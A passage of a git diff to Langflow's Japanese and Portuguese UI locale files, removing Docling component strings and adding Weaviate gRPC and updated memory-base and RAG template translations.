LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "接続されている場合、画像説明タスクの実行に使用するモデル。", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "画像の説明文の入力例", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "モデルを呼び出す際に表示するユーザーへのプロンプト。", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "パイプライン", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Doclingパイプラインの使用方法", - "components.doclinginline.inputs.separator.display_name.be237eda": "分離文字", - "components.doclinginline.inputs.separator.info.d54570fc": "メッセージ形式で、複数の出力の間に使用する区切り文字を指定します。", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "気づかないうちに起こるミス", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "真の場合、エラーが発生しても例外は投げられません。", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "ファイル", - "components.doclingremote.description.71394d2e": "Docling Serveのインスタンスに接続し、Doclingを使用して入力ドキュメントを処理します。", - "components.doclingremote.display_name.ddeb3f89": "Docling Serve", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "HTTPヘッダー", - "components.doclingremote.inputs.api_headers.info.47c263b2": "Docling Serveへの接続に必要な追加ヘッダーのオプション辞書。", - "components.doclingremote.inputs.api_url.display_name.8be89710": "サーバー・アドレス", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL Docling Serve インスタンスの", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "処理後にサーバーファイルを削除する", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "この設定が有効な場合、処理後にサーバーのファイルパスは削除されます。", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Doclingのオプション", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "追加オプションのオプション辞書。 詳細については、 https://github.com/docling-project/docling-serve/blob/main/docs/usage.md をご覧ください。", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "サーバーのファイルパス", - "components.doclingremote.inputs.file_path.info.27812dd6": "サーバー上のファイルを指す「file_path」プロパティを持つデータオブジェクト、またはそのファイルへのパスを含むMessageオブジェクト。 「Path」に代わるものですが、同じファイル形式に対応しています。", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "指定されていないファイルは無視する", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "これが true の場合、「file_path」プロパティを持たないデータは無視されます。", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "サポートされていない拡張子を無視する", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "この設定が有効な場合、サポートされていない拡張子を持つファイルは処理されません。", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "競合", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "サーバーに対する同時リクエストの最大数。", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "最大投票時間", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "ドキュメントの変換が完了するまでの最大待機時間。", - "components.doclingremote.inputs.path.display_name.abc7e989": "ファイル", - "components.doclingremote.inputs.separator.display_name.be237eda": "分離文字", - "components.doclingremote.inputs.separator.info.d54570fc": "メッセージ形式で、複数の出力の間に使用する区切り文字を指定します。", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "気づかないうちに起こるミス", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "真の場合、エラーが発生しても例外は投げられません。", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "ファイル", "components.dotenv.description.8634f572": ".env ファイルを環境変数に読み込む", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "dotenvファイルの内容", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "検索結果の件数がほぼ同じ", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "「オートプロンプト」を使用する", "components.exasearch.outputs.tools.display_name.ea93d6a2": "ツール", - "components.exportdoclingdocument.description.413a23c6": "DoclingDocument をMarkdown、HTML、またはその他の形式でエクスポートします。", - "components.exportdoclingdocument.display_name.f9c3a19c": "DoclingDocument をエクスポート", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON または テーブル", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "エクスポートするデータと関連文書。", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "DoclingDocument 列に使用するキー。", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "エクスポート形式", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "入力データを変換するエクスポート形式を選択してください。", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "画像のエクスポートモード", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "出力時の画像のエクスポート方法を指定します。 「Placeholder」を選択すると、画像は文字列に置き換えられますが、「Embedded」を選択すると、 base64 形式でエンコードされた画像として埋め込まれます。", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "画像のプレースホルダー", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "Markdown形式でのエクスポート用画像プレースホルダーを指定します。", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "改行のプレースホルダー", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "マークダウン出力内のページ間にこのプレースホルダーを追加してください。", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "エクスポートされたデータ", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "表", "components.extractakey.description.2568af44": "Data オブジェクトまたは Data オブジェクトのリストから特定のキーを抽出し、抽出した値を Data オブジェクトとして返す。", "components.extractakey.display_name.0c6e10b0": "キーの抽出", "components.extractakey.inputs.data_input.display_name.86fe6201": "データ入力", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "データの書式設定に使用するテンプレート。 メッセージデータには、 {text}、 {sender}、またはその他の任意のキーが含まれる場合があります。", "components.memory.outputs.dataframe.display_name.16d1c905": "表", "components.memory.outputs.messages_text.display_name.04d7b483": "メッセージ", - "components.memorybase.description.49825d5a": "このフローに接続されたメモリベースからチャット履歴を取得します。 デフォルトでは現在のセッションを範囲として設定されます。「セッションでフィルタリング」を無効にすると、このメモリベースに取り込まれたすべてのセッションからデータを取得できます。", + "components.memorybase.description.03cd3f8b": "このワークフローに接続されたメモリベースから長期記憶を取得します。 「セッションでフィルタリング」がオフの場合、クエリはすべてのセッションを対象に実行されます。", "components.memorybase.display_name.6c40130b": "メモリベース", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "セッションで絞り込む", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "この設定を有効にすると、現在のセッションの記憶のみが取得されます。 無効にすると、このメモリベースに取り込まれたすべてのセッションにわたって検索が可能になります(会話間の検索に便利です)。", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "ウィーヴィエイト", "components.weaviate.inputs.api_key.display_name.23189d55": "API キー", "components.weaviate.inputs.embedding.display_name.4c1a0852": "埋め込み", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "GRPCホスト", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC セルフホスト型Weaviateインスタンスのホスト。 デフォルトでは、 URL ホストが設定されます。 Weaviate Cloudへの接続時には無視されます。", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC ポート", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC セルフホスト型Weaviateインスタンス用のポート。 Weaviate Cloudへの接続時には無視されます。", "components.weaviate.inputs.index_name.display_name.0f53d21d": "インデックス名", "components.weaviate.inputs.index_name.info.b595f2c9": "インデックス名は大文字で指定する必要があります。", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "データの取り込み", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "結果数", "components.weaviate.inputs.number_of_results.info.5232e01a": "返す結果の数。", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "テキストで検索", + "components.weaviate.inputs.search_by_text.info.a58c521e": "下位互換性を維持するために残されています。 Weaviateの v4 クライアントは、埋め込みデータが提供されているかどうかに基づいて、キーワード検索とベクトル検索を自動的に選択します。", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "検索クエリ", "components.weaviate.inputs.search_query.info.d9f2d336": "類似検索を実行するには、クエリを入力してください。", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "検索語を入力してください...", @@ -6774,7 +6690,7 @@ "starter_flows.twitter_thread_generator.description": "このプロンプトベースのフローを使用すれば、構造化された入力データを、ブランドのトーンや技術的な正確性を保ちつつ、魅力的なTwitterスレッドに変換できます。", "starter_flows.twitter_thread_generator.name": "Twitterスレッド生成ツール", "starter_flows.vector_store_rag.description": "リトリーバル・オーグメンテッド・ジェネレーション(RAG)を使用して、チャットコンテキスト用のデータを読み込みます。", - "starter_flows.vector_store_rag.name": "ベクターストア RAG", + "starter_flows.vector_store_rag.name": "Vector Store RAG", "starter_flows.youtube_analysis.description": "「 YouTube 」の分析フローは、動画のコメントや文字起こしデータを抽出し、感情の傾向やコンテンツのテーマを分析します。", "starter_flows.youtube_analysis.name": "YouTube 分析", "template_notes.basic_prompt_chaining.b5fcc15e": "# 📖 README\nこのフローでは、3つのプロンプトと3つの言語モデルを連結する方法を示しています。\n各プロンプトは、前の出力を処理するように特別に設計されており、LLMへの各呼び出しは前の結果に基づいて行われます\n\n\n## 前提条件\n\n* [ OpenAI APIキー]( https://platform.openai.com/ )\n\n## クイックスタート\n\n1. APIの認証情報を用いて**モデルプロバイダー**を設定してください。\n2 フローを実行するには、**Playground**を開いてください。 入力例を以下に示します。その他の提案については、以下に挙げます。\n\n 「技術に詳しくないユーザーでも暗号資産への投資を容易に行える、安全で使いやすい分散型金融( DeFi )プラットフォームへの需要が高まっている。」\n\n 「分散型ワークフォースにおけるリモートコラボレーションやバーチャルチームビルディングのための、没入型拡張現実(AR)体験の人気が高まっている。」\n\n 「都市居住者が限られたスペースで効率的に食料を自給できる、スマートで IoT-enabled な都市農業ソリューションの市場が拡大している。」\n\n 「サステナビリティ、ボディポジティブ、そして個人のスタイルの好みを考慮した、AIを活用したパーソナルスタイリングおよびショッピングアシスタントへの需要が高まりつつある。」\n\n", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### モデルプロバイダーの設定", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\nこの旅行計画システムは、いくつかの専用エージェントコンポーネントを活用して、素晴らしい旅行の計画を立てるのに役立つスマートな仕組みです。 各エージェントを、旅の一区間に特化した旅行の専門家だと考えてみてください。 仕組みは以下の通りです:\n各エージェントには、**エージェント向け指示書**に役割が定義されており、関連する**ツール**が添付されています。 ユーザーは**Chat Input**を通じてクエリを送信し、3つのエージェントがそのクエリに基づいて完全な旅行プランを作成します。\n\n## クイックスタート\n1. APIの認証情報を用いて**モデルプロバイダー**を設定してください。\n2 Search API コンポーネントに **Search API** キーを追加してください。\n2 **Playground**でフローを実行します。", "template_notes.twitter_thread_generator.3ee42d8b": "# 📖 README\nTwitterスレッドジェネレーターへようこそ! このフローは、構造化された入力データを魅力的なコンテンツに変換することで、人々の関心を引くTwitterのスレッドを作成するのに役立ちます。\n\n## 手順\n\n1. 入力内容の準備\n- 「コンテキスト」に、メインメッセージやストーリーを入力してください\n- スレッドの構成やスタイルに関する「コンテンツガイドライン」を定義してください\n- ブランドアイデンティティを反映させるため、「プロフィールタイプ」と「プロフィール詳細」を指定してください\n- コミュニケーションのアプローチの指針となる「トーンとスタイル」を設定してください\n- 「出力形式」(スレッド)と希望する言語を選択してください\n\n2. プロンプトの設定\n- このフローでは、専用のプロンプトテンプレートを使用してコンテンツを生成します\n- すべての入力フィールドがプロンプトノードに接続されていることを確認してください\n\n3. 生成を実行\n- フローを実行して入力を処理します\n- 「 OpenAI 」モデルは、指定内容に基づいてスレッドを作成します\n\n4. 確認と調整\n- 「Chat Output」ノードの出力を確認する\n- 必要に応じて入力を調整し、より良い結果が得られるよう再実行する\n\n5. 最終確認と投稿\n- 内容に問題がなければ、生成されたスレッドをコピーします\n- 構成や流れを保ったまま、Twitterに投稿します\n\nポイント:最良の結果を得るためには、文脈やガイドラインを具体的に明記しましょう! 🚀\n", - "template_notes.vector_store_rag.4df99c9e": "# 📖 README\nRetrieval Augmented Generation(RAG)とは、関連コンテンツの埋め込みデータをベクトルストアに事前に読み込むことで、大規模言語モデル(LLM)に追加の文脈情報を提供する手法です。 ユーザーがLLMとチャットを行う際、_類似度検索_によって、ユーザーのクエリの埋め込みベクトルとベクトルストア内の埋め込みベクトルとを比較し、関連するコンテンツが抽出されます\n 例えば、RAGチャットボットにはあらかじめ商品データが読み込まれており、顧客の問い合わせに基づいて特定の商品を探す手助けをすることができます。\n\n## クイックスタート\n1. APIの認証情報を使用して、**モデルプロバイダー**を設定してください。\n 2 **[ナレッジ取り込み]( http://localhost:7860/assets/knowledge-bases )** 機能を使用して、データベースを選択するか、新しいデータベースを作成してください。 \n 3 **Playground** を開いて、🐕 **Retriever** フローとのチャットを開始してください。\n\n\n\n## 次のステップ\nプロンプトと読み込んだデータを変更して、LLMの応答がどのように変わるか試してみてください。", "template_notes.vector_store_rag.d089e3e8": "### 💡 言語モデルの設定はこちら👇", + "template_notes.vector_store_rag.e8deaec6": "# 📖 README\nRetrieval Augmented Generation(RAG)とは、関連コンテンツの埋め込みデータをベクトルストアに事前に読み込むことで、大規模言語モデル(LLM)に追加の文脈情報を提供する手法です。 ユーザーがLLMとチャットを行う際、_類似度検索_によって、ユーザーのクエリの埋め込みベクトルとベクトルストア内の埋め込みベクトルとを比較し、関連するコンテンツが抽出されます\n 例えば、RAGチャットボットにはあらかじめ商品データが読み込まれており、顧客の問い合わせに基づいて特定の商品を探す手助けをすることができます。\n\n## クイックスタート\n1. APIの認証情報を使用して、**モデルプロバイダー**を設定してください。\n 2 データベースを選択するか、[ナレッジ取り込み]( https://docs.langflow.org/knowledge-base )機能を使用して新しいデータベースを作成してください。 \n 3 **Playground** を開いて、フローとのチャットを開始してください。\n\n\n\n## 次のステップ\nプロンプトと読み込んだデータを変更して、LLMの応答がどのように変わるか試してみてください。", "template_notes.youtube_analysis.8d068d5f": "# 📖 README\nこのフローは、 YouTube の動画を包括的に分析します。\n1秒. 動画のコメントと文字起こしを抽出する。\n2 LLMを使用してコメントの感情分析を行う。\n3 動画の文字起こし内容とコメントの感情分析を組み合わせ、包括的な動画分析を行います。\n## クイックスタート\n- API 認証情報を使用して **Model Provider** を設定します。\n- **YouTube Data API の v3 key** を追加します。\n- YoutTube API キーをお持ちでない場合は、[ Google Cloud Console]( https://console.cloud.google.com ) で作成してください。\n- チャット入力が有効な YouTube video URL であることを確認してください。 チャット入力コンポーネントには、 URL のサンプルが用意されています。\n" -} +} \ No newline at end of file diff --git a/src/backend/base/langflow/locales/pt.json b/src/backend/base/langflow/locales/pt.json index 2b8f72e93d..da67f61cc5 100644 --- a/src/backend/base/langflow/locales/pt.json +++ b/src/backend/base/langflow/locales/pt.json @@ -948,27 +948,6 @@ "components.chroma.outputs.dataframe.display_name.16d1c905": "Tabela", "components.chroma.outputs.search_results.display_name.39414102": "Resultados da Procura", "components.chroma.outputs.search_results.info.c3d7164d": "Realiza uma pesquisa de similaridade semântica no banco de dados vetorial para localizar documentos/arquivos relevantes. Entrada: Uma consulta de pesquisa em linguagem natural (str). Retorna: Uma lista de objetos Data (dicionários). Cada resultado tem a seguinte estrutura: {'data': {'text': '...', ...}}. O campo “text” contém sempre o conteúdo do documento correspondente. Outros campos de metadados dependem do que foi indexado (podem incluir: 'file_path', 'source', 'page', etc.). IMPORTANTE: Para extrair metadados como `file_path`, use: `result['data'].get('file_path')` ou ` result.data.get ('file_path')`. Verifique quais campos estão disponíveis consultando result['data'].keys() ou o primeiro resultado da pesquisa.", - "components.chunkdoclingdocument.description.44e35996": "Use os fragmentadores ` DocumentDocument ` para dividir o documento em partes.", - "components.chunkdoclingdocument.display_name.1722f954": "Chunk DoclingDocument", - "components.chunkdoclingdocument.inputs.always_emit_headings.display_name.10da1ae6": "Sempre incluir títulos", - "components.chunkdoclingdocument.inputs.always_emit_headings.info.d0f59909": "Inclua títulos mesmo nas seções vazias.", - "components.chunkdoclingdocument.inputs.chunker.display_name.3aa06cd4": "Chunker", - "components.chunkdoclingdocument.inputs.chunker.info.b22ec24d": "Qual picador usar.", - "components.chunkdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON ou tabela", - "components.chunkdoclingdocument.inputs.data_inputs.info.e5dd822f": "Os dados com documentos a serem divididos em partes.", - "components.chunkdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.chunkdoclingdocument.inputs.doc_key.info.d7f29683": "A chave a ser usada para a coluna ` DoclingDocument `.", - "components.chunkdoclingdocument.inputs.hf_model_name.display_name.029240f2": "Nome do modelo HF", - "components.chunkdoclingdocument.inputs.hf_model_name.info.a4ff5667": "Nome do modelo do tokenizador a ser usado com o ` HybridChunker ` quando o ` Hugging Face ` for escolhido como tokenizador.", - "components.chunkdoclingdocument.inputs.max_tokens.display_name.98a75688": "Máximo de tokens", - "components.chunkdoclingdocument.inputs.max_tokens.info.ebc4a5b8": "Número máximo de tokens para o HybridChunker.", - "components.chunkdoclingdocument.inputs.merge_peers.display_name.67b25632": "Mesclar pares", - "components.chunkdoclingdocument.inputs.merge_peers.info.64fef35c": "Junte os blocos de tamanho insuficiente que compartilham os mesmos metadados relevantes.", - "components.chunkdoclingdocument.inputs.openai_model_name.display_name.9ea3f726": "OpenAI nome do modelo", - "components.chunkdoclingdocument.inputs.openai_model_name.info.4a3e4d67": "Nome do modelo do tokenizador a ser usado com o ` HybridChunker ` quando o ` OpenAI ` for escolhido como tokenizador.", - "components.chunkdoclingdocument.inputs.provider.display_name.472590ae": "Provedor", - "components.chunkdoclingdocument.inputs.provider.info.734df296": "Qual provedor de tokenização.", - "components.chunkdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabela", "components.cleanlabevaluator.description.ba9ff1dd": "Avalia qualquer resposta de um LLM usando o Cleanlab e gera uma pontuação de confiança e uma explicação.", "components.cleanlabevaluator.display_name.acc5fbce": "Avaliador Cleanlab", "components.cleanlabevaluator.inputs.api_key.display_name.424b5af9": "Chave API do Cleanlab", @@ -3373,58 +3352,6 @@ "components.directory.inputs.use_multithreading.display_name.05e4b8e4": "Use multithreading", "components.directory.inputs.use_multithreading.info.abb48948": "Se for verdade, será utilizada a multithreading.", "components.directory.outputs.dataframe.display_name.d04e5590": "Arquivos carregados", - "components.doclinginline.description.8eb32adf": "Utiliza o Docling para processar documentos de entrada, executando os modelos do Docling localmente.", - "components.doclinginline.display_name.18714c10": "Docling", - "components.doclinginline.inputs.delete_server_file_after_processing.display_name.5f06c029": "Excluir o arquivo do servidor após o processamento", - "components.doclinginline.inputs.delete_server_file_after_processing.info.759b7a41": "Se for verdadeiro, o caminho do arquivo do servidor será excluído após o processamento.", - "components.doclinginline.inputs.do_picture_classification.display_name.17f39daf": "Classificação de imagens", - "components.doclinginline.inputs.do_picture_classification.info.a7bc4521": "Se ativada, a pipeline do Docling classificará o tipo das imagens.", - "components.doclinginline.inputs.file_path.display_name.e2af3c2c": "Caminho do arquivo no servidor", - "components.doclinginline.inputs.file_path.info.27812dd6": "Objeto de dados com uma propriedade 'file_path' que aponta para um arquivo no servidor ou um objeto Message com um caminho para o arquivo. Substitui o 'Path', mas suporta os mesmos tipos de arquivo.", - "components.doclinginline.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorar arquivos não especificados", - "components.doclinginline.inputs.ignore_unspecified_files.info.6db15d5b": "Se for verdadeiro, os dados sem a propriedade 'file_path' serão ignorados.", - "components.doclinginline.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorar extensões não compatíveis", - "components.doclinginline.inputs.ignore_unsupported_extensions.info.c0005483": "Se for verdade, os arquivos com extensões não suportadas não serão processados.", - "components.doclinginline.inputs.ocr_engine.display_name.0518cbfc": "Mecanismo de OCR", - "components.doclinginline.inputs.ocr_engine.info.139aeeed": "Motor de OCR a ser utilizado. Nenhuma opção desativará o OCR.", - "components.doclinginline.inputs.path.display_name.abc7e989": "Arquivos", - "components.doclinginline.inputs.pic_desc_llm.display_name.7d1bb7eb": "Descrição da imagem LLM", - "components.doclinginline.inputs.pic_desc_llm.info.6dfbf195": "Se estiver conectado, o modelo a ser usado para executar a tarefa de descrição de imagens.", - "components.doclinginline.inputs.pic_desc_prompt.display_name.b954ba72": "Instrução para descrição da imagem", - "components.doclinginline.inputs.pic_desc_prompt.info.54bc97e0": "O prompt de usuário a ser usado ao invocar o modelo.", - "components.doclinginline.inputs.pipeline.display_name.37e1c775": "Pipeline", - "components.doclinginline.inputs.pipeline.info.38c5db3a": "Pipeline do Docling para uso", - "components.doclinginline.inputs.separator.display_name.be237eda": "Separador", - "components.doclinginline.inputs.separator.info.d54570fc": "Especifique o separador a ser usado entre várias saídas no formato de mensagem.", - "components.doclinginline.inputs.silent_errors.display_name.ee5bdeda": "Erros silenciosos", - "components.doclinginline.inputs.silent_errors.info.c8d76525": "Se for verdadeiro, os erros não gerarão uma exceção.", - "components.doclinginline.outputs.dataframe.display_name.abc7e989": "Arquivos", - "components.doclingremote.description.71394d2e": "Utiliza o Docling para processar documentos de entrada, conectando-se à sua instância do Docling Serve.", - "components.doclingremote.display_name.ddeb3f89": "Docling Serve", - "components.doclingremote.inputs.api_headers.display_name.fba60cef": "Cabeçalhos de HTTP", - "components.doclingremote.inputs.api_headers.info.47c263b2": "Dicionário opcional de cabeçalhos adicionais necessários para se conectar ao Docling Serve.", - "components.doclingremote.inputs.api_url.display_name.8be89710": "Endereço do servidor", - "components.doclingremote.inputs.api_url.info.4fb8b968": "URL da instância do Docling Serve.", - "components.doclingremote.inputs.delete_server_file_after_processing.display_name.5f06c029": "Excluir o arquivo do servidor após o processamento", - "components.doclingremote.inputs.delete_server_file_after_processing.info.759b7a41": "Se for verdadeiro, o caminho do arquivo do servidor será excluído após o processamento.", - "components.doclingremote.inputs.docling_serve_opts.display_name.213075dd": "Opções de encadernação", - "components.doclingremote.inputs.docling_serve_opts.info.44e5bb7e": "Dicionário opcional de opções adicionais. Consulte https://github.com/docling-project/docling-serve/blob/main/docs/usage.md para obter mais informações.", - "components.doclingremote.inputs.file_path.display_name.e2af3c2c": "Caminho do arquivo no servidor", - "components.doclingremote.inputs.file_path.info.27812dd6": "Objeto de dados com uma propriedade 'file_path' que aponta para um arquivo no servidor ou um objeto Message com um caminho para o arquivo. Substitui o 'Path', mas suporta os mesmos tipos de arquivo.", - "components.doclingremote.inputs.ignore_unspecified_files.display_name.2f4bdff0": "Ignorar arquivos não especificados", - "components.doclingremote.inputs.ignore_unspecified_files.info.6db15d5b": "Se for verdadeiro, os dados sem a propriedade 'file_path' serão ignorados.", - "components.doclingremote.inputs.ignore_unsupported_extensions.display_name.2b309132": "Ignorar extensões não compatíveis", - "components.doclingremote.inputs.ignore_unsupported_extensions.info.c0005483": "Se for verdade, os arquivos com extensões não suportadas não serão processados.", - "components.doclingremote.inputs.max_concurrency.display_name.8708492f": "Simultaneidade", - "components.doclingremote.inputs.max_concurrency.info.5b7f7b11": "Número máximo de solicitações simultâneas para o servidor.", - "components.doclingremote.inputs.max_poll_timeout.display_name.2770e3b2": "Tempo máximo de votação", - "components.doclingremote.inputs.max_poll_timeout.info.a280e555": "Tempo máximo de espera para a conclusão da conversão do documento.", - "components.doclingremote.inputs.path.display_name.abc7e989": "Arquivos", - "components.doclingremote.inputs.separator.display_name.be237eda": "Separador", - "components.doclingremote.inputs.separator.info.d54570fc": "Especifique o separador a ser usado entre várias saídas no formato de mensagem.", - "components.doclingremote.inputs.silent_errors.display_name.ee5bdeda": "Erros silenciosos", - "components.doclingremote.inputs.silent_errors.info.c8d76525": "Se for verdadeiro, os erros não gerarão uma exceção.", - "components.doclingremote.outputs.dataframe.display_name.abc7e989": "Arquivos", "components.dotenv.description.8634f572": "Carregar o arquivo.env nas variáveis de ambiente", "components.dotenv.display_name.2955fde8": "Dotenv", "components.dotenv.inputs.dotenv_file_content.display_name.f62b6470": "Conteúdo do arquivo dotenv", @@ -3509,22 +3436,6 @@ "components.exasearch.inputs.similar_num_results.display_name.707eed13": "Número semelhante de resultados", "components.exasearch.inputs.use_autoprompt.display_name.59695dc3": "Usar o Autoprompt", "components.exasearch.outputs.tools.display_name.ea93d6a2": "Ferramentas", - "components.exportdoclingdocument.description.413a23c6": "Exporte o arquivo “ DoclingDocument ” para os formatos Markdown, HTML ou outros.", - "components.exportdoclingdocument.display_name.f9c3a19c": "Exportar DoclingDocument", - "components.exportdoclingdocument.inputs.data_inputs.display_name.6f756e77": "JSON ou tabela", - "components.exportdoclingdocument.inputs.data_inputs.info.a8882471": "Os dados com os documentos a serem exportados.", - "components.exportdoclingdocument.inputs.doc_key.display_name.03e51a1a": "Doc Key", - "components.exportdoclingdocument.inputs.doc_key.info.d7f29683": "A chave a ser usada para a coluna ` DoclingDocument `.", - "components.exportdoclingdocument.inputs.export_format.display_name.df339cb8": "Formato de exportação", - "components.exportdoclingdocument.inputs.export_format.info.95a45bb3": "Selecione o formato de exportação para converter os dados inseridos.", - "components.exportdoclingdocument.inputs.image_mode.display_name.baf2b59e": "Modo de exportação de imagens", - "components.exportdoclingdocument.inputs.image_mode.info.658f2344": "Especifique como as imagens serão exportadas na saída. A opção \"Placeholder\" substituirá as imagens por uma sequência de caracteres, enquanto a opção \"Embedded\" as incluirá como imagens codificadas no formato \" base64 \".", - "components.exportdoclingdocument.inputs.md_image_placeholder.display_name.3c6e2e80": "Espaço reservado para imagem", - "components.exportdoclingdocument.inputs.md_image_placeholder.info.d5e786d5": "Especifique o espaço reservado para imagens nas exportações em Markdown.", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.display_name.2464ce40": "Marcador de quebra de página", - "components.exportdoclingdocument.inputs.md_page_break_placeholder.info.6fea767e": "Insira este espaço reservado entre as páginas na saída em Markdown.", - "components.exportdoclingdocument.outputs.data.display_name.70557daf": "Dados exportados", - "components.exportdoclingdocument.outputs.dataframe.display_name.16d1c905": "Tabela", "components.extractakey.description.2568af44": "Extrair uma chave específica de um objeto Data ou de uma lista de objetos Data e retornar o(s) valor(es) extraído(s) como objeto(s) Data.", "components.extractakey.display_name.0c6e10b0": "Chave de extração", "components.extractakey.inputs.data_input.display_name.86fe6201": "Entrada de dados", @@ -4581,7 +4492,7 @@ "components.memory.inputs.template.info.e9ef56ea": "O modelo a ser usado para formatar os dados. Pode conter as chaves {text}, {sender} ou qualquer outra chave nos dados da mensagem.", "components.memory.outputs.dataframe.display_name.16d1c905": "Tabela", "components.memory.outputs.messages_text.display_name.04d7b483": "Mensagens", - "components.memorybase.description.49825d5a": "Recuperar o histórico de bate-papo de uma Base de Memória associada a este fluxo. O padrão é limitar a pesquisa à sessão atual; desative a opção “Filtrar por sessão” para recuperar dados de todas as sessões importadas para esta Base de Memória.", + "components.memorybase.description.03cd3f8b": "Recuperar a memória de longo prazo de uma Base de Memória associada a este fluxo de trabalho. Quando a opção “Filtrar por sessão” está desativada, as consultas são executadas em todas as sessões.", "components.memorybase.display_name.6c40130b": "Base de Memória", "components.memorybase.inputs.filter_by_session.display_name.0c2249c9": "Filtrar por sessão", "components.memorybase.inputs.filter_by_session.info.ddd14a58": "Se ativada, apenas as memórias da sessão atual serão recuperadas. Desative para permitir a recuperação em todas as sessões importadas para esta Base de Memória (útil para a recuperação entre conversas).", @@ -6486,12 +6397,17 @@ "components.weaviate.display_name.e95095e1": "Weaviate", "components.weaviate.inputs.api_key.display_name.23189d55": "Chave de API", "components.weaviate.inputs.embedding.display_name.4c1a0852": "Integração", + "components.weaviate.inputs.grpc_host.display_name.d7b0be8f": "Host GRPC", + "components.weaviate.inputs.grpc_host.info.fe0d5a48": "gRPC servidor para uma instância do Weaviate auto-hospedada. O padrão é o host URL. Ignorado ao conectar-se ao Weaviate Cloud.", + "components.weaviate.inputs.grpc_port.display_name.054b93c3": "gRPC Porto", + "components.weaviate.inputs.grpc_port.info.a34b1dce": "gRPC porta para uma instância autohospedada do Weaviate. Ignorado ao conectar-se ao Weaviate Cloud.", "components.weaviate.inputs.index_name.display_name.0f53d21d": "Nome do índice", "components.weaviate.inputs.index_name.info.b595f2c9": "O nome do índice deve estar em maiúsculas.", "components.weaviate.inputs.ingest_data.display_name.b8c4a377": "Ingerir dados", "components.weaviate.inputs.number_of_results.display_name.e8f2e1bb": "Número de resultados", "components.weaviate.inputs.number_of_results.info.5232e01a": "Número de resultados a serem exibidos.", "components.weaviate.inputs.search_by_text.display_name.a1bfa0f3": "Pesquisar por texto", + "components.weaviate.inputs.search_by_text.info.a58c521e": "Mantido por motivos de compatibilidade com versões anteriores. O cliente Weaviate v4 seleciona automaticamente entre a pesquisa por palavra-chave e a pesquisa por vetor, dependendo da disponibilidade de uma representação vetorial.", "components.weaviate.inputs.search_query.display_name.3ad6e0f4": "Consulta de pesquisa", "components.weaviate.inputs.search_query.info.d9f2d336": "Digite uma consulta para realizar uma pesquisa de similaridade.", "components.weaviate.inputs.search_query.placeholder.2a5ab7eb": "Digite uma consulta...", @@ -6841,7 +6757,7 @@ "template_notes.text_sentiment_analysis.cd87cff6": "### Configure seu provedor de modelos", "template_notes.travel_planning_agents.d6f6704d": "# 📖 README\n\nO sistema de planejamento de viagens é uma configuração inteligente que utiliza 